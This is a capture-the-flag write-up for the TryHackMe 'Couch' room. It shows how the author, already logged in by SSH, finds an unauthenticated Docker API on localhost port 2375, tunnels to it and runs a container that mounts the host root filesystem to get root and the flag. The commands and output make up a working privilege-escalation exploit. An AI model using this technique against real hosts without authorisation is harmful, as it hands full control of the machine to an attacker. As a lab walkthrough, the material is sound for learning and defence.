THM: Couch

This is Couch from THM. It’s Easy:

Hack into a vulnerable database server that collects and stores data in JSON-based document formats, in this semi-guided challenge.

This will be brief, because I’m only interested in the privesc (which wasn’t guided).

Linpeas

We’ve SSH’d in as atena and I run linpeas; I don’t get much but do notice:

[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp        0      0 0.0.0.0:22              0.0.0.0:*
tcp        0      0 127.0.0.1:46808         0.0.0.0:*               
tcp        0      0 0.0.0.0:5984            0.0.0.0:*               
tcp        0      0 127.0.0.1:2375          0.0.0.0:*               
tcp6       0      0 :::22                   :::*                    

I port forward 2375 with SSH:

┌──(root💀kali)-[/opt/thm/couch]
└─# ssh -L 9999:localhost:2375 atena@10.10.128.105 
atena@10.10.128.105s password: 
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-193-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Thu Jul  1 03:13:41 2021 from 10.9.10.123
atena@ubuntu:~$

And check in the broswer:

HTTP/1.1 404 Not Found
Content-Type: application/json
Date: Thu, 01 Jul 2021 10:03:28 GMT
Content-Length: 29
Connection: close

{"message":"page not found"}

I run dirsearch:

┌──(root💀kali)-[/opt/thm/couch]
└─# python3 /opt/dirsearch/dirsearch.py -u http://localhost:9999    

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10848

Error Log: /opt/dirsearch/logs/errors-21-07-01_06-03-49.log
Target: http://localhost:9999/
Output File: /opt/dirsearch/reports/localhost/_21-07-01_06-03-50.txt

[06:03:50] Starting: 
[06:03:54] 200 -    3B  - /plugins                                                         /Citrix/AccessPlatform/auth/clientscripts/cookies.js
[06:05:13] 503 -  144B  - /configs/conf_zepass.ini                                         [06:05:13] 503 -  144B  - /configs/conf_bdd.ini
[06:05:20] 200 -   31KB - /debug/pprof/goroutine?debug=1                          
[06:05:20] 200 -   27KB - /debug/pprof/trace         
[06:05:20] 200 -    8KB - /debug/pprof/heap      
[06:05:38] 200 -    2KB - /info                                                           [06:05:48] 503 -  144B  - /nodes                                                           [06:06:04] 503 -  144B  - /secrets                                                         [06:06:05] 503 -  144B  - /services                                         
[06:06:22] 200 -  537B  - /version  

And visiting /info gives a lot of information:

HTTP/1.1 200 OK
Api-Version: 1.39
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/18.09.7 (linux)
Date: Thu, 01 Jul 2021 10:06:55 GMT
Connection: close
Content-Length: 2454

{
	"ID": "Y6WE:HXC4:FJQH:37S4:AW62:VZXN:P33O:CCAZ:KAIN:74CM:QJXR:PKEE",
	"Containers": 0,
	"ContainersRunning": 0,
	"ContainersPaused": 0,
	"ContainersStopped": 0,
	"Images": 1,
	"Driver": "overlay2",
	"DriverStatus": [
		[
			"Backing Filesystem",
			"extfs"
		],
		[
			"Supports d_type",
			"true"
		],
		[
			"Native Overlay Diff",
			"true"
		]
	],
	"SystemStatus": null,
	"Plugins": {
		"Volume": [
			"local"
		],
		"Network": [
			"bridge",
			"host",
			"macvlan",
			"null",
			"overlay"
		],
		"Authorization": null,
		"Log": [
			"awslogs",
			"fluentd",
			"gcplogs",
			"gelf",
			"journald",
			"json-file",
			"local",
			"logentries",
			"splunk",
			"syslog"
		]
	},
	"MemoryLimit": true,
	"SwapLimit": false,
	"KernelMemory": true,
	"CpuCfsPeriod": true,
	"CpuCfsQuota": true,
	"CPUShares": true,
	"CPUSet": true,
	"IPv4Forwarding": true,
	"BridgeNfIptables": true,
	"BridgeNfIp6tables": true,
	"Debug": false,
	"NFd": 22,
	"OomKillDisable": true,
	"NGoroutines": 38,
	"SystemTime": "2021-07-01T03:06:54.855591862-07:00",
	"LoggingDriver": "json-file",
	"CgroupDriver": "cgroupfs",
	"NEventsListener": 0,
	"KernelVersion": "4.4.0-193-generic",
	"OperatingSystem": "Ubuntu 16.04.7 LTS",
	"OSType": "linux",
	"Architecture": "x86_64",
	"IndexServerAddress": "https://index.docker.io/v1/",
	"RegistryConfig": {
		"AllowNondistributableArtifactsCIDRs": [],
		"AllowNondistributableArtifactsHostnames": [],
		"InsecureRegistryCIDRs": [
			"127.0.0.0/8"
		],
		"IndexConfigs": {
			"docker.io": {
				"Name": "docker.io",
				"Mirrors": [],
				"Secure": true,
				"Official": true
			}
		},
		"Mirrors": []
	},
	"NCPU": 1,
	"MemTotal": 510328832,
	"GenericResources": null,
	"DockerRootDir": "/var/lib/docker",
	"HttpProxy": "",
	"HttpsProxy": "",
	"NoProxy": "",
	"Name": "ubuntu",
	"Labels": [],
	"ExperimentalBuild": false,
	"ServerVersion": "18.09.7",
	"ClusterStore": "",
	"ClusterAdvertise": "",
	"Runtimes": {
		"runc": {
			"path": "runc"
		}
	},
	"DefaultRuntime": "runc",
	"Swarm": {
		"NodeID": "",
		"NodeAddr": "",
		"LocalNodeState": "inactive",
		"ControlAvailable": false,
		"Error": "",
		"RemoteManagers": null
	},
	"LiveRestoreEnabled": false,
	"Isolation": "",
	"InitBinary": "docker-init",
	"ContainerdCommit": {
		"ID": "",
		"Expected": ""
	},
	"RuncCommit": {
		"ID": "N/A",
		"Expected": "N/A"
	},
	"InitCommit": {
		"ID": "v0.18.0",
		"Expected": "fec3683b971d9c3ef73f284f176672c44b448662"
	},
	"SecurityOptions": [
		"name=apparmor",
		"name=seccomp,profile=default"
	],
	"Warnings": [
		"WARNING: API is accessible on http://127.0.0.1:2375 without encryption.\n         Access to the remote API is equivalent to root access on the host. Refer\n         to the 'Docker daemon attack surface' section in the documentation for\n         more information: https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface",
		"WARNING: No swap limit support"
	]

The real takeaway is that last bit though:

WARNING: API is accessible on http://127.0.0.1:2375 without encryption

So. What can we do? First, I install the docker CLI in kali:

apt install docker.io

Then we can list the images:

┌──(root💀kali)-[/opt/thm/couch]
└─# docker -H localhost:9999 images
REPOSITORY   TAG       IMAGE ID       CREATED        SIZE
alpine       latest    389fef711851   6 months ago   5.58MB

And then we can get root:

┌──(root💀kali)-[/opt/thm/couch]
└─# docker -H localhost:9999 run -it -v /:/host alpine chroot /host/ bash
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@d4ecebedfc38:/# id;hostname;date
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
d4ecebedfc38
Thu Jul  1 03:45:16 PDT 2021
root@d4ecebedfc38:/# cd /root
root@d4ecebedfc38:~# ls
root.txt
root@d4ecebedfc38:~# cat root.txt
THM{RCE_us1ng_Docker_API}
root@d4ecebedfc38:~#

Neato completo.